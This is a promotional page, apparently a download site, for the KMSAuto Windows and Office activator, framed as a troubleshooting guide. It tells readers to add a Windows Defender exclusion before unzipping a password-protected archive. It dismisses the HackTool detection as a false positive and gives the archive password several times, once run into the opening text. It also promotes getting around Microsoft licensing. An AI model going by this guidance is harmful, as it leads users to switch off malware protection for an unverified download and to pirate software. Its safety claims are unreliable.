KMSAuto + Windows Defender — Troubleshooting Guide 2026
Defender quarantines KMSAuto because it's classified as HackTool. Step-by-step guide to safely whitelist the activator and re-enable protection after.
WYqejXiqBi97Windows Defender quarantines KMSAuto the moment it lands on disk. The fix is to add an exclusion for the extraction folder before unzipping the archive.
Why Defender blocks the activator
Microsoft's malware definitions classify every KMS activator as HackTool/Win32. It's a policy classification, not malware detection.
How to add a Defender exclusion
Open Windows Security → Virus & threat protection → Manage settings → Exclusions → Add folder. Pick your extraction folder.
After activation
Re-enable real-time protection and remove the exclusion. Your machine stays activated.
Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97